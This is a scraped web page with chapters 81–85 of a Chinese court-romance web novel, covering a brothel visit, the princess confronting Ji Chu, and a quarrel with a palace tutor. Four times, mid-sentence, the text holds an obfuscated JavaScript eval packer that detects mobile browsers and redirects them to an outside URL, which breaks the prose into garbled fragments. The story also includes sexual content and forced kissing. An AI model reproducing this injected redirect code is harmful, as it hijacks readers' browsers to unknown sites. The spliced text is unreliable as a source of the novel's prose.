一台普通不起眼的小马车已经停在了路边。 见到季褚出来,立马快步上前,“大人。” “什么大人,在外面叫哥!” “好的哥,您请,我已经包下了万花楼的七仙女,就等着哥去批判!” 季褚搓了搓手,笑着指指对方,而后干净利落的上了马车,“走着!” 第81章 公主不好了,季褚狂点七位姑娘 万花楼内。 一间雅室陈设清雅别致,四壁悬着素色纱幔,案上香炉轻烟袅袅,可谓是暗香浮动,沁人心脾。 室中桌椅皆为上好木料,雕饰简洁却不失精致,窗边摆着几盆清雅花草,褪去了风尘喧嚣,反倒多了几分幽静温婉,一眼望去,就俩字……高端! 最重要的是,人家舍得用冰啊,室内凉意****,伺候的小娘子们衣着轻薄舒爽,身姿曼妙,看得人赏心悦目。 单就这一点,季褚便得给个大大的五星好评。 而且坤弟也是真不骗人,说是七仙女,真就凑齐了七位佳人,赤橙黄绿青蓝紫七色衣饰,各有风姿,齐齐围在他身边伺候,专人专责,周到的无可挑剔。 身后一个小娘子用大雷子当头枕,指尖轻柔地揉捏着他的太阳穴,解他连日疲惫。 身侧,另一位眉眼温婉的佳人正执筷夹起精致小菜,凑到他唇边,又端过酒杯,小心翼翼喂他浅酌。 脚边,有佳人屈膝而坐,指尖娴熟地揉捏着他的双腿,力道恰到好处。 不远处的琴案旁,还有一位身着素衣的佳人抚琴唱曲,琴声悠扬,歌声婉转,入耳动听。 更有三位身材火辣、身姿妖娆的佳人,随着琴曲节拍轻移莲步,衣袂翻飞间,舞姿曼妙,风情万种。 最最最重要的,坤弟只点了两个,任何一位姿色都远不如七仙女中的任何一位。 这叫啥,这叫懂事,把最好的留给领导,且不抢领导风头。 这样的下属不提拔,提拔啥样的? “穿越过来这么久,总算又找回当年逛会所的舒坦劲儿了……” 季褚虚眯着眼,一脸享受。 啥玩意,之前你在长葛不是逛过吗? 那能一样吗哥? 先前在长葛,那是借着场合给女学员做培训,全程绷着神经,身边还有护卫,那是半点不敢松懈,哪有今日这般卸下防备,肆无忌惮的**享受! 一曲作罢。 季褚一口咬住佳人凑到面前的葡萄,“别停,接着奏乐,接着舞……” 说着,他眼睛微眯,朝着姬坤招了招手。 “哥,有何吩咐?”姬坤推开身边女子,一脸谄媚的跪爬过来。 “今晚的消费不少花钱吧?”季褚凑到对方耳边小声问道。 玩归玩,闹归闹,可季褚心里跟明镜似的。 姬坤先前不过是公主府里一个不起眼的内厨小厮,算起来,被他提拔上来也没多长时间。如今竟敢这般铺张豪爽,摆下如此阔绰的大排场,背地里肯定没少中饱私囊。 要换以前,季褚肯定不说啥。 因为他还想捞呢。 可现在,那不是羊毛出在羊身上吗? 姬坤最擅察言观色,要不然也不可能被季褚注意到。 谄媚一笑,“整整两千两呢哥,只要您能玩得尽兴,开怀舒心,花再多钱都值当!” 生怕季褚起疑,忙又补了一句,“您放心,这些钱都是先前制冰时的赏赐,小弟可是半点歪心思没敢动。 小弟一直谨记您的教诲,咱如今的一切都是殿下给的,效忠殿下,忠诚,忠诚,还是忠诚。 可不敢干那违法乱纪的事儿。 要是被殿下察觉半分不妥,杀头都是小事,最怕的是辜负了哥您的信任,那才是万死难辞其咎!” 季褚满意的拍拍对方肩膀,“我就随口一问,不必如此惊慌。 如今府内的事,我恐难继续操持,以后府内的事儿,还是得交给信得过的人我才放心。” 有没有薅自己羊毛,季褚让人一查便知,如今玩人腿软,为了不扫兴,他也得上点情绪价值。 姬坤闻言,眼睛猛地一亮,当场跪在了地上,“哥,以后您就是我亲哥,您让我往东,我绝不往西,您让我追狗,我绝不撵鸡。” 季褚佯装责怪,“快快起来,你这是作甚。” 姬坤连忙连滚带爬地起身,脸上依旧堆着谄媚的笑,识趣道:“哥,那我就带着底下人先去别处候着,不打扰您尽兴玩乐,您有任何吩咐,派人喊我一声就行!” 季褚轻咳一声,摆了摆手,“去吧,走的时候我叫你。” 姬坤刚关上门,就听里面传来了女人嗔怪。 “公子,讨厌……” “奴家依你便是……” 姬坤会心一笑,看着旁边两位美娇娘,肆无忌惮的把手伸进了襦裙里。 …… 公主府。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220310|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李清瑶正垂眸凝神,细细研读季褚写下的农桑方略,指尖轻按书页,神色专注不已。 随着一阵急促的脚步声,妙锦竟未通传便急匆匆闯了进来,打破了室内的静谧。 “不好了殿下……” 李清瑶秀眉紧紧蹙起,微微抬眸,语气中带着几分上位者的威仪,又有几分恨铁不成钢的不满,“妙锦,你自幼便随在我身边,宫中的规矩礼仪难道都忘记了吗? 凡事最忌这般慌慌张张,急躁冒进,失了分寸!” 李清瑶可谓是相当不满,也不怪季褚提醒,应该换掉韩江雪。 当然了,换肯定是不能换的。 但她也意识到了自己的短处,那就是往日对身边人太过宽容,这才导致她们个个骄纵。 尤其是竹儿,竟然爬了她未来驸马的床,简直岂有此理。 妙锦被训的浑身一哆嗦,扑通一声跪倒在地,“殿下,妙锦知错,是妙锦慌了神,失了规矩。 可殿下,真的出大事了! 方才郡主派人传话,说季大人去了万花楼,还一口气点了七位姑娘……特来问殿下,此事该如何处置……” 妙锦脑袋埋得低低的,头都不敢抬一下。 紧接着便听砰的一声。 下意识抬头,就见李清瑶拍案而起,案上的书页被震得簌簌翻飞,浑身都因盛怒而微微颤抖,咬牙切齿,字字如冰锥砸落,“季!伯!赢……你简直岂有此理,传信给江雪,立刻,马上,去万花楼把人给我绑回来! 若敢反抗,不必手下留情!” “喏!” 妙锦暗暗松了口气,殿下把怒火烧到了季褚身上,那肯定就不会再追究自己失仪的过错了。 只是刚要起身出去传话,就听李清瑶突然喊道:“且慢!” “殿下,可是还有其他交代?” 李清瑶攥紧了拳头,指节泛白,眼底的怒火里掺了几分委屈与赌气,“为本宫更衣,化妆,本宫倒要亲自去看看,那万花楼究竟有什么魔力,竟能勾得他一掷千金,这般放肆地狂点七位姑娘!” 毕竟,他修的那“邪功”,家里有一个赵子衿就足够了。 七个姑娘,七个啊! 他这不是要疯是什么? 第82章 为了我们日后,伯赢,委屈你,辛苦些吧 万花楼。 季褚凭借自己的三寸不烂之舌,已经把当代青楼现状了解的差不多了。 显而易见。 但她们不会编故事啊! 什么生病的妈,上学的弟,好赌的爸爸,破碎的她。 这些你不给他整上,如何提供有效的情绪价值,如何让客户心甘情愿花更多的钱? 而且青楼不仅是销金窟,更是最佳的情报收集处,这对以后太子上位也有很大的帮助。 回头就问问自己富婆老婆,咱家有没有青楼产业,有的话全都要过来,直接打造全大梁最顶级的会所。 赚钱情报两不误。 季褚环顾屋里众位莺莺燕燕,决定再考验考验她们伺候人的本事,如果可以,太子大婚当日的龙精就请她们上。 反正他感觉挺不错,也都挺带感的。 而就当他要开口,大门砰的一声被人踹开。 季褚心里咯噔一下,还以为**扫房了,完全就是本能反应,起身就准备跳窗逃跑。 哪成想两扇窗户这时也开了。 一边是挂窗户上的房梁,一边是抱剑而立的韩江雪。 再一扭头,一名丰神俊朗,面如冠玉的年轻贵公子已然大踏步进了房间。 身后还跟着四个腰挎佩刀,杀气腾腾的猛男壮汉。 不是女扮男装的李清瑶还能是谁? 万花楼可是有背景的,寻常权贵都不敢轻易在这里惹事,更别说直接踹门了,何况来人贵气十足,一看就绝非普通权贵。 七仙女哪见过这阵仗,顿时吓成了七鹌鹑,瑟瑟发抖站成了一排。 季褚心里慌得一比,但眉头却紧紧皱了起来,不悦道:“不知什么风,竟把李公子这尊大佛吹到万花楼这等地方来。” 李清瑶也不说话,自顾自的来到七名女子面前,一合扇子,一一挑起下巴细细打量,目光扫过之处,满是不屑与讥讽,最后冷冷哼一声,“就这等庸脂俗粉,眉眼无韵,身姿寡淡,也配入你季公子的眼?我当你眼光多高,原来也不过如此! 哦,我倒是瞧明白了,季公子这是不求质量、只贪数量啊?这般饥不择食,与那圈里的种猪,又有什么两样?” 季褚无语,“你们暂且退下。还有房梁,把窗户关了……” 李清瑶倒是很给面子,立刻摆了下手。 很快,房间里就只剩下了二人。 四目相对。 李清瑶眼里写满了委屈,不解。 季褚长长叹了口气,“公主,你误会死我得了。” 李清瑶轻哼一声,“点七个姑娘这也叫误会?” “那你看我衣衫可还完整?” 李清瑶一噎,“反正你就点了七个姑娘。” 季褚摇摇头,走上前一把搂住了对方盈盈一握的小腰。 李清瑶俏脸泛红,嗔怒道:“放开你的脏手。” 季褚一脸乐呵,反而一歪头,强行吻上了那香香软软的唇瓣。 熟悉的步步紧逼,令李清瑶瞬间愣住,下意识就要挣扎不与他纠缠,一双纤纤玉手推着季褚胸膛,却反被他给握住。 季褚就好似战场上冲阵的将军,一步一步攻城略地,终究还是突破了她的重重严防死守。 李清瑶被他缠的力气越来越小。 最后只能睁着眼睛,气呼呼任由他肆意妄为。 可他季褚是什么人,那是给点颜色就敢开染坊的主儿。 见她越亲越起劲,而且上下其手,李清瑶气的只能踢了他一脚。 “季褚,你放肆……” 李清瑶柔柔的骂了一句,心却怦怦狂跳,又气又羞。 不分时间,不分场合…… 简直越来越过分了。 季褚嘿嘿一笑,“公主,没亲够……” 说着,一手搂着对方的腰,一手挑起她的下巴,再次霸道的低头吻了上去。 “不可以……唔……唔唔……” 李清瑶感觉自己要疯了。 明明应该很生气才对,可就是拿他无可奈何。 又过了好一会儿,二人才分开。 方才的讥讽与怒火早已悄然褪去,李清瑶紧紧抱着季褚的腰,脸颊贴在他的衣襟上,语气里满是委屈与酸涩,“为何要来这里寻欢作乐,难道我还比不上几个青楼女子?更何况,你那院子里的三位佳人,各有风姿,各擅所长,难道还不够吗?” 季褚轻轻推开了李清瑶,抬头仰望四五十度,岿然一声长叹,“人心中的成见是一座大山啊,任你如何努力,也没法搬开。” 闻言,李清瑶心里莫名一紧,方才的委屈酸涩瞬间消散大半,只剩下一丝说不清道不明的慌乱。 怔怔地望着季褚的侧脸,虽然总觉得哪里不对劲,但一时竟不知道说什么好了。 “好了,我原谅你了。”季褚牵住对方的手,将人按在了软踏上,随意坐到一旁,拿起一颗葡萄拨开递到了李清瑶嘴边,“其实我来此处并非寻欢作乐,而是考察市场。” 李清瑶心头一颤,既有释怀,又有浓浓的愧疚自心间升腾。 她就说嘛,季褚虽然胆大妄为,但绝不会无的放矢。 包括最初他想逃出自己的手掌心,不就做了很多准备。 所以,肯定不是寻欢作乐那么简单。 “那你考察到了什么?”李清瑶张嘴咬住了葡萄。 “我先问问,咱家有青楼产业不?” 李清瑶闻言,毫不犹豫地摇了摇头,语气带着几分公主的矜持与笃定:“无。” 说着,吐出一粒葡萄籽,补充道,“一来,青楼乃是风尘之地,鱼龙混杂,有损皇家与公主府的体面,我素来不齿与此类产业牵扯。 二来,府中产业皆是田庄、商铺、漕运之类的正当营生。 且我封地每年也有足够的贡奉,足够供给府中用度,何须沾手这等污名在外的行当,平白惹来非议。” “那咱家平时如何获取情报?” “自然是派人去探查。” 季褚摇了摇头,而这时,李清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225926|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶也拨好了一颗葡萄送到了他的嘴边。 季褚笑笑也没客气,只是嘴张得有点大,惹得李清瑶绝美的容颜上又是绯红一片。 “那样效率太慢了。你要知道,情报这东西,最讲究的就是时效,一旦错过了最佳时机,即便费尽心思探查到,也会变成毫无用处的废情报。” 季褚一脸严肃认真,“我今日来万花楼,考察只是其一。 实则是打算咱自己开一家高端青楼,专门用来吸引京中的达官显贵,王公贵族。 首先,高端青楼利润丰厚,能为咱们公主府添一笔不小的进项。 其次,那些达官显贵酒后多言,最易泄露机密,咱们正好借着这个地方,不动声色地收集各路情报,一举两得。” 顿了顿,季褚突然压低了声音,示意对方附耳过来。 李清瑶微微俯身,就听季褚小声说道:“你可别小瞧了方才那七位姑娘,她们虽说算不上绝色,但胜在心思活络,花样繁多。 我还有个打算,就是物色几名女子,太子大婚当日帮他取龙精,悄无声息地完成此事,不至于引人怀疑。” 李清瑶恍然大悟,有些不好意思道:“原来伯赢心中藏着这么多算计,步步都有考量,倒是我小家子气了,错怪了你。” 季褚暗暗松了口气。 好险,这一关总算是度过去了。 “无妨!”季褚轻轻牵住她的小手,“这也恰恰说明我在娘子心里的分量。” 李清瑶羞赧的点了下头,“那伯赢把她们叫进来吧,正好试试她们有没有那本事。” 季褚??? 不是,你这公主怎么个事儿? 得亏你没穿越,你要穿越了,就你这爱看直播的劲儿,估计得下好几个硬盘的电影。 “咳咳,不必试了,我觉得他们应该可以,咱们还是回府吧。” “还是试一试吧,万一大婚当日,那些姑娘没那个本事,无法顺利办成此事,咱们到时候定然手忙脚乱,反倒误了大事。” 说着,李清瑶对着外面喊道:“让那七位女子进来。” 话音落,赤橙黄绿青蓝紫,陆陆续续走了进来。 李清瑶站起身,指着季褚,对着七仙女道:“你们几个,使出各自最厉害的本事,速去与他行事,助他尽快了事便可。 谁令他了事的快,本……我便赏谁五百两。” “五百两!” 七位姑娘眼前骤然一亮,方才的拘谨瞬间消散,眼底满是急切与欢喜。 不等季褚反应过来,一众莺莺燕燕便笑着朝他扑来。 季褚脑壳子都要裂开了,想要开口阻拦,身子便被团团围住,鼻尖萦绕着浓郁的脂粉香,整个人瞬间被柔软的身影包裹得严严实实。 “不要,唔……救命……” 李清瑶望着被莺莺燕燕团团围住,窘迫求饶的季褚,深吸了一口气,压下心头的几分羞赧与不忍,“我只能靠你了,这一切,都是为了我们日后的将来,伯赢,委屈你……辛苦些吧!” 第83章 初入东宫,职场霸凌 戌时,三刻。 一台不起眼的马车缓缓驶出了万花楼后门。 季褚斜靠在车厢上,闭目养神。 太残暴了。 七次啊…… 不过那花活,确实让人食髓知味,原来……古代人比小电影的花样更多。 至于李清瑶,早早就带着韩江雪回府继续研究农桑方略,只留下几个护卫暗中保护。 一说就是相信季褚,把一切事宜交给他,自己放心。 “娘的,这算什么事儿……”季褚发出一声轻叹。 房梁盘腿坐在车厢,单手杵着一把大刀,见他有了动静,立马开口说道:“大人……属下有个不情之请。” “说!”季褚好奇的睁开眼睛。 “就是……能否求大人,给属下正个名?”房梁一脸窘迫,“这次归家,不知怎的,大人对属下的……爱称,竟一路传回了家中,弄得属下实在是难做人啊!” 闻言,季褚瞬间板起脸来。 好小子,现在想起难做人了? 怎不想想你挂墙上,总是神出鬼没吓唔一跳的时候? 改名? 想得美! “房梁啊,你可知我为何叫你房梁?”季褚语气低沉,那眼神完全就是恨铁不成钢。 房梁苦涩一笑,“还不是属下经常挂于梁上进行戒备。” “错错错,大错特错。”季褚语气虽然,“吾问你,我朝国号为何?” “梁!”房梁猛的瞪圆了眼睛,感觉脑子痒痒的,好似有什么东西要长出来了。 “对喽。房既是家又是国,住的是房,守的是朝,打我第一眼看到你,就感觉你有国之房梁之姿。” 房梁腰板一挺,整个人瞬间通透无比,“原来大人唤我房梁,竟然有这般深意! 以后属下便是房梁,大梁之房梁。” “这就对喽。梁,国之柱石,更是殿下身边的撑梁之臣,切勿辜负了这个名字。” 反正下雨天打孩子,闲着也是闲着,季褚咔咔就是一顿洗脑。 一个真敢说,一个真敢信。 就在这时,马匹突然传来一阵嘶鸣,接着车厢跟着剧烈晃动了一下。 “怎么回事?”季褚皱眉道。 “大人,是巡城兵马司的人。” 姬坤刚说完,外面就传来一声闷雷般的声音,“车内何人?下车检查。” 季褚也是一阵无语,怎么说呢,距离宵禁还有半个时辰,就相当于后世你刚嗨皮完,查酒驾的就上岗了,而且辣么大一城市,还偏偏让你遇上了。 季褚朝怀里摸了摸,将太子金令取出探出了窗外。 “臣巡城兵马司霍刚见过贵人。城内有人作乱,是否需要吾等护送?” 季褚给了房梁一个眼色,后者立刻开口,“何人作乱?” “回贵人,方才兵马司接到报案,左春左大人家被一伙来历不明的人丢……丢了很多大粪。” 季褚面皮一抽,好家伙,不用猜,指定是某位同僚今个听了自己的对付北戎人的计策。 这是活学活用上了啊! 而且他今天走马上任,也听说了一些关于左大人的传言,这才知晓那就是个大喷壶,上次李清瑶自请下狱,那老王八蛋当负不可推卸的责任。 就是不知哪位神仙出的手,要是知道,非得请他去万花楼批判批判七仙女。 见房梁一张脸憋得涨红,想笑又不敢笑,季褚无语的点了下头。 后者立马冲着外面喊道:“无需诸位将士护送,捉拿贼人才是首要,尔等让开道路即可。” “喏!” 伴随着一阵甲胄摩擦声传来,紧接着马车再次动了起来。 季褚透过帘子,看了一眼外面跪一地兵士,又看了看手里的太子金令,心里道了一声真好使,便揣回了袖口。 翌日。 季褚早起去给公主“请安”,完事二人便各自分道扬镳,她去城外庄子亲自实践农桑方略,季褚到衙门点了个卯便直奔太子东宫。 太子少保虽然也是老师之一,但讲课只是其一,主要负责的还是保护太子的人身安全。 因为东宫六傅之中,太保主要负责保护太子,由勋贵武将镇远大将军,镇远侯顾飞虎担任。 人家还要带兵练兵保护京畿,哪有时间天天守在太子身边。 包括太师,太傅,也都各自担任要职。 所以说白了,领导就是挂个名,活都是副职在干。 而太保这个位置因为特殊性,和太子接触的时间最久,梁皇给他这个职位,他猜测就是想让他言传身教,好好把太子带坏……呸,是培养成才。 怎么说呢,大梁朝这个时空,是从一扫六合的大秦发生的时间线偏移,所以这里没有天命之子秦王政,反倒是多了一位横扫半壁江山的大赵孝武帝,因此文人学的也都是孔孟之道。 结合原主对历史的了解,季褚感觉那老婶子孝武帝,很有可能就是他那个时空,秦王政质子邯郸时的那位赵孝成王。 那老小子十有**也被穿越者夺舍了,然后趁着赵政还没归国,将其嘎了,夺了对方的天命。 这也就导致史书上压根没有秦王政这个人,如果在这里想用秦王政的名义让人打钱,不用猜也知道你是骗子。 大赵经四世而亡,在之后,六七百年时间内,始终是各国**,你方唱罢我登台,而如今的大梁虎踞中原,按照众所周知的三国地图来划分,那就是占据了,兖,豫,徐,扬,荆,九州之地占了其五,妥妥的列国老大哥。 但地盘大,不代表实力强。 因为周围的小老弟也都老猛了。 当然了,他们猛不猛现在和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225927|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他半毛钱关系都没有。 他只是想说,孔孟之道他可太熟了,不是他吹,给他几年,绝对能教出一个不一样的太子。 东宫。 季褚一听太子正在崇教殿听课,也不由来了兴趣,立马让小太监带自己过去。 以前就算了,就太子那画饼子的技术,他学好学坏关他屁事! 但现在不一样了,那可是未来小舅子兼学生兼老板,他都来了,还让那帮穷酸腐儒给太子带坏,岂不是辜负了岳父大人委以重任。 他到的时候,少师杨桐正在滔滔不绝的讲学。 季褚还是很礼貌的,要了小马扎,便轻手轻脚的走了进去,然后坐到了杨桐旁边,准备先听听他讲的,要是讲得不好,过后再给太子重新灌输一遍。 但他不请自来,还摆出一副旁听姿态,却是惹恼了杨桐,瞬间蹙起了眉头,“子曰:君子思不出其位,各敬其事。 老夫在此为殿下讲授修身治国、孔孟正道,不敢有半分懈怠。 诗词歌赋不过文人末技、小道而已,安能与经世济民之大道相提并论? 阁下不请自来,踞坐旁听,莫非是觉得老夫所授大道,还不及那些浮艳小技? 这般肆意扰人授业,乱此讲堂秩序,怕是不合君子之道吧!” 季褚一脸懵逼,看向了杨桐,“杨大人,方才我可有出声?” “那倒没有!” “既然没有,又何来打搅一说?”季褚不悦道:“况且,我并未与杨大人有过交集,应该没得罪过你吧,何必阴阳怪气。 我承认,诗词一道,本官确实一枝独秀,杨大人即便心有不服,也不必如此失了礼数吧?” 一听这话,杨桐顿时气的吹胡子瞪眼,“狂妄!你可知老夫师从何人?” “我管你师从何人!” 季褚豁然抬眼看向懵逼的太子,语气铿锵,掷地有声:“太子,国之未来。 胸无格局,心无担当,纵使饱读诗书,也不过是腐儒一个! 要教,便先教胸襟气度,要修,便先修立世之德!” 虽然,上班第一天便和同事干起来,不妥。 但这杨桐老儿属实欺人太甚。 自己都那么小心翼翼了,就怕打扰到对方讲学,没想到,杨桐老儿竟想借机踩他一头,这般行径,这嘴脸,可不就是后世职场上老人对新人的霸凌么? 况且,老板在此,新人怎么了,新人才更应该坦陈己见,亮出主张。 杨桐被他一番话噎得面红耳赤,须发倒竖,气得浑身发抖,“吾师,左春。” 季褚真想给他来句左喷算个屁,吾岳还是梁皇呢。 但想了想,还是算了,跟这腐儒对线,纯粹就是多余浪费嘴皮子。 他只淡淡瞥了杨桐一眼,语气不咸不淡的哦了一声,“然后呢?” 第84章 你这便宜小舅子是真能添乱 “你……” 杨桐一口气没上来,差点没背过气去。 你还有脸问然后? 昨夜有人在恩师府外泼粪行秽,祸根不正是你在金銮殿上出的那缺德主意? 毫无君子之风,枉读圣贤之书,简直丢尽天下读书人的脸面! 可这话若真说出口,岂不恰恰坐实了自己心胸狭隘,斤斤计较? 他张了张嘴,憋得满脸青紫,可终究半个字也吐不出来。 季褚暗暗冷笑,噎不死你。 缓了一下,杨桐冷哼一声,既然说不过,那就尽快把今天的课程讲完,眼不见为净。 杨桐深吸口气,强压怒火,继续开讲,“殿下,子曰:学而不思则罔,思而不学则殆。 为学之道,首在静心凝神,心无旁骛,切不可心猿意马,神思涣散,否则学问难进,徒费光阴。” “少师说的极是,孤谨遵少师教诲!” 李康这会儿可是吃瓜吃爽了,立刻压下上翘的嘴角,口中恭谨应承,心中却早就乐开了花。 这杨桐的胸襟气度,果然差得远了。 还得是皇姐发掘的大才,说话又好听,办事又踏实,最重要的是谋略,才情,都不是杨桐能比的。 尤其是这胸襟,你杨大人只因一点小事便耿耿于怀,辩不过便抬出师长压人。 反观季褚,始终从容有礼,不仅没有趁胜追击,反而轻描淡写便将争执揭过,这才是真正的气度宽广。 而就在这时,季褚忽然开口,语气依旧掷地有声: “学之何用?思之何益? 日日空谈静心凝神,心无旁骛,那是木头疙瘩打坐,不是活人求学! 心不跃、意不扬,那叫僵滞死寂,何来问道求知? 心猿意马又如何? 心思活络,敢思敢想,方为求学。死气沉沉,正襟危坐,不过是枯诵读经! 日日端着架子端坐殿上,看似勤勉向学,实则浑噩发呆! 真正的学问,从不是憋出来的,静出来的! 神思偶散又何妨? 若静得如一段朽木,即便坐得再久,亦是白费光阴! 凝神守心?可笑可笑…… 敢想,敢乱,敢为,敢闯,那才叫真读书!” 杨桐本就憋着一肚子火,此刻被季褚这番离经叛道,狂悖无状的言论一激,血压登时高了两格,整个人都红温了。 一气之下便将手中书卷啪的一声拍在了案几之上,厉声怒斥:“狂徒!竖子!一派胡言! 你这是亵渎圣贤,悖逆礼教,蛊惑储君! 静心治学乃是千古正道,你竟敢如此肆意歪曲,大放厥词! 老夫看你就是目无尊长,不知廉耻,枉披儒衫!” 季褚淡淡瞥他一眼,只轻嗤一声:“少师若是只会拿圣贤压人,那这课,不听也罢。” 一句话落下,杨桐气得胸口剧烈起伏,指着季褚,手指都在打颤,半晌憋出一句:“你你你……简直气煞老夫也!” 话音未落,眼前一黑,竟直挺挺的栽倒下去。 砰的一声。 季褚当场愣在原地,整个人都懵了。 不是,这这这……怎么还说晕就晕了? 妈的,这事儿好像要闹大! 李康也是呆若木鸡,怔怔望着季褚,好半天才猛地回过神,当即冲着殿外厉声高呼,“太医!速传太医!” 喊完,再看季褚,却见他依旧安坐如松,神色平静,心中顿时一叹:少保当真气魄过人,泰山崩于前而色不变,这份镇定,远非常人能及,看来孤要学的还有很多啊! 季褚哪里是泰山崩于前而色不变,属实是不知道如何面对眼前的场景。 万一……咱就说万一哈,这杨大人真被他气死在课堂上。 公主能保住咱的小命吗? 思及此,季褚哪里还坐得住,立刻起身上前,蹲下,托头,抬起手便对着杨桐的人中使出了吃奶的劲儿。 “嗷——” 一声凄厉痛呼,杨桐竟被硬生生掐醒。 季褚暗暗松了口气,脸上露出一副无奈又惋惜的模样,轻叹道:“杨大人啊杨大人,你我不过政见不合、论学相争罢了。辩不过,原也不是什么大错,你又何必装晕耍赖?左大人若是知晓,徒弟竟这般输不起,怕是也要大失所望。” 杨桐张了张嘴,想要辩驳,可人中被掐得又麻又痛,连嘴都张不开,只能发出含糊不清的声响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230267|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老夫都这样了,还往老夫身上泼脏水,果然是个阴险狡诈,心思歹毒的无耻之徒,夺笋,夺笋啊! 见这一幕,李康脸色瞬间沉下,冷声道:“杨大人,孤未曾想,你竟是这般心胸狭隘,不堪容物。 辩不过就装晕,孤还从未见过你这般厚颜无耻之人,如今孤只觉,先前从你这里听来的道理,尽数成了一场笑话。 孤对你,实在失望至极!” 杨桐脑瓜子嗡嗡,满心委屈与悲愤翻涌而上,几乎要呕出血来:汝闻闻,人言否?老夫呕心沥血,倾囊相授,日夜为殿下讲学传道,到头来竟落得这般评价! 况且,老夫那是真晕,真晕……嘎的一下就没意识了,不是假晕啊! 他有心辩解,可说又说不出口,气火攻心再次晕厥过去。 季褚:…… 你妹啊! 我刚给人弄醒,我容易么我。 你这便宜小舅子是真能添乱。 “季少保,你且退下,这次让孤来,孤倒要看看,杨大人能装到何时。” 季褚嘴角抽搐,把杨桐的脑袋交给对方,“多用点力气。” 李康会心一笑,“孤明白!” 说着,也学着季褚刚才的样子,用力按了下去。 “熬~~” 杨桐吃痛,再次从晕厥中醒来,才睁开眼就看到季褚和太子二人蹲在面前,一脸失望的看着自己。 那委屈的眼泪是说来就来啊! 他不敢怎么着太子,只能把愤怒全都发泄到季褚身上。 勉强撑起身,忍着疼,愤怒吼道:“你这竖子,胡言乱语,藐视先贤,辱我师门,乱我讲堂! 老夫今日,定要到御前参你一本,治你不敬之罪!” 言罢,他狠狠一甩衣袖,捂着嘴狼狈不堪地快步离去。 殿内一时只剩下两**眼瞪小眼。 李康愤怒的站起身,“季少保稍候!孤这便前往父皇面前,将方才之事原原本本禀明,绝不让他无端冤枉了少保。” 说完,也匆匆追了出去。 “殿下等等我,同去,同去……”季褚慌得一比,就太子这水平,他还真怕对方说不明白,抬腿快步追上。 第85章 且行且珍惜,你就学罢! “陛下啊,臣不活了……” 春暖阁外,老臣杨桐扑通一下便跪在了地上,悲怆凄厉,可谓是声声带泪。 殿内,梁皇刚散了议事,此刻正为农桑难题一筹莫展,愁的脑仁子都疼了,骤然听到哭嚎之声,当即便气不打一处来,喝道:“何人在外面喧哗?” 刘公公碎步上前,“圣人,是杨桐杨大人!” 闻言,梁皇的脸更黑了,这些好大儿就没一个令他省心的,不由得他便想起了大闺女的好。 可老师都来找家长了,身为老父亲也只能硬着头皮帮他擦一擦屁股,叹了口气,“他不在东宫好生教导太子,跑到这里来哭天呛地,想来又是太子年少顽劣,惹出了什么事端。 传进来吧!” 刘公公躬身领命,脚步匆匆出了大殿,“圣人招杨大人觐见。” 杨桐站起身,跟着进入大殿,再次跪倒了在了御案之前,“陛下,您可一定要为老臣做主啊。” 杨桐顶着香肠嘴进来,梁皇一眼就发现了华点,不由一阵好奇,“爱卿,你这嘴?” 不提嘴还好,一提嘴恶,那火辣辣且胀胀的感觉,令杨桐更是悲从悲从中来,“臣半生兢兢业业,宵衣旰食,自入东宫以来,夙兴夜寐,一心只为教导太子、弘扬圣贤正道,不敢有负陛下重托!可今日……今日在东宫讲堂,只因为师说了几句,竟遭季褚那竖子百般羞辱,恶意施暴,臣……臣委屈啊!” “哦,你这嘴是他打的?”这一下,梁皇的兴趣更浓了。 杨桐满脸委屈,“不是他打的,但比打的更恶劣……” 杨桐巴拉巴拉把事情经过说了一遍,先说季褚如何藐视圣贤,曲解论语,再讲自己如何据理力争,坚守正道,最后说到自己气晕被他掐醒,污蔑他装晕撒泼……甚至连太子也被他蛊惑,不分青红皂白,当众斥责自己心胸狭隘,厚颜无耻。 总之一句话,他杨桐一心为国,是惨遭构陷的忠良。 